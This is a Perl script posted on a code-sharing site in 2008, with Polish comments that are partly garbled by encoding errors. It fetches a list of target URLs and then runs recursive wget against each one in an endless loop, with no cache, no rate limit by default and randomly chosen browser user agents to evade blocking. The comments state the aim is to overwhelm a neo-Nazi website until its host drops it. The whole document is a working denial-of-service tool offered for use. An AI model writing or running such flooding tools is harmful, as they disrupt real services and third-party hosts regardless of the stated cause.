Code-Bin #118

untitled Perl Code
Posted by: X | March 5, 2008 @ 4:43am

Perl Code

#!/usr/bin/perl

use warnings;
use strict;

# Skrypt kiluj.pl uruchamiajacy wget w celu pogn�&#65533;bienia nazioli
# copyleft 2008 GNU GPL
# napisano po pierwsze na kolanie, po drugie w perlu ;-)

# UWAGA! Je�&#65533;li strona padnie i b�&#65533;dzie pojawia�&#65533; si�&#65533; informacja od providera, że site zosta�&#65533; zamkni�&#65533;ty
# nie powinno si�&#65533; dalej używa�&#65533; skryptu! Gn�&#65533;bienie providera nie jest dobre i nic nie da.
# chodzi tylko o to, żeby ten nie chcia�&#65533; hostowa�&#65533; strony nazioli!

my $limit            = "0"; # ogranicza predko�&#65533;�&#65533; transferu w ko�&#65533;cu nei chcemy gn�&#65533;bi�&#65533; siebie
                              # 0 - bez limitu
                              # 100 - 100B/s (stanowczo za wolno)
                              # 20k - 20kB/s (wystarczy)

my $listaURL        = "http://kiluj.pl/lista.txt"; # plik z list�&#65533; URLi do kilowania

my @URLs;             # adresy z których pobierane b�&#65533;d�&#65533; dane

my @UAs              = ( # UA do losowania. TYLKO popularne UA, jak chca niech blokuja popularne przegladarki
                         # co za roznica czy nie ma ich strony czy 90% użytkowników jej nie widzi z
                         # powodu blokady UA
                        "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12",
                        "Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12",
                        "Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.12) Gecko/20080210 Firefox/2.0.0.12",
                        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
                        );

my $download_counter = 0;  #co�&#65533; dla poprawienia humoru
my $files_counter    = 0;

system ("wget",  "-q", "$listaURL"); # pobiera list�&#65533; adresów do kilowania!
if ( $? == 256 ) {
    warn ("Brak pliku z list�&#65533; URL do pobrania!\nUżyj�&#65533; starej (je�&#65533;li istnieje) ale sprawdź na stronie http://www.kiluj.pl co si�&#65533; dzieje.\n\n");
}

# wczytuj�&#65533; list�&#65533; URLi
open ( FH, "<", "kiluj.pl/lista.txt" )
    or die ( "Brak listy URL do gn�&#65533;bienia, może strona nazioli leży i nawet nie kwiczy?\nSprawdź co si�&#65533; dzieje na http://www.kiluj.pl\n" );
while ( <FH> ) {
    chomp;
    push @URLs, $_
        if ( !/^#/ );
}
close FH;

# no to targamy dane :D
while ( ) {
    foreach ( @URLs ) {
        my $UA = $UAs[int(rand($#UAs+1))];

print "Pobieram dane z: $_ ... \n";
        system ( "wget",                        # odpalam wget
                    "-rq",                      # reqursive quiet
                    "--no-cache",               # wylaczam cache
                    "-U \"$UA\"",               # zmieniam User Agent (udaj�&#65533; przegl�&#65533;dark�&#65533;)
                    "--limit-rate=$limit",      # limit pr�&#65533;dko�&#65533;ci pobierania
                    "--directory-prefix=TMP",   # pobieram dane do katalogu TMP
                    "$_"
                );
        system ( "rm", "-rf", "./TMP/" );
    }
    print "\nNo to od nowa!\n";
}

Syntax Highlighting

[Open in new window]

Author Comments

none

Rating

4.53 / 8
254 Votes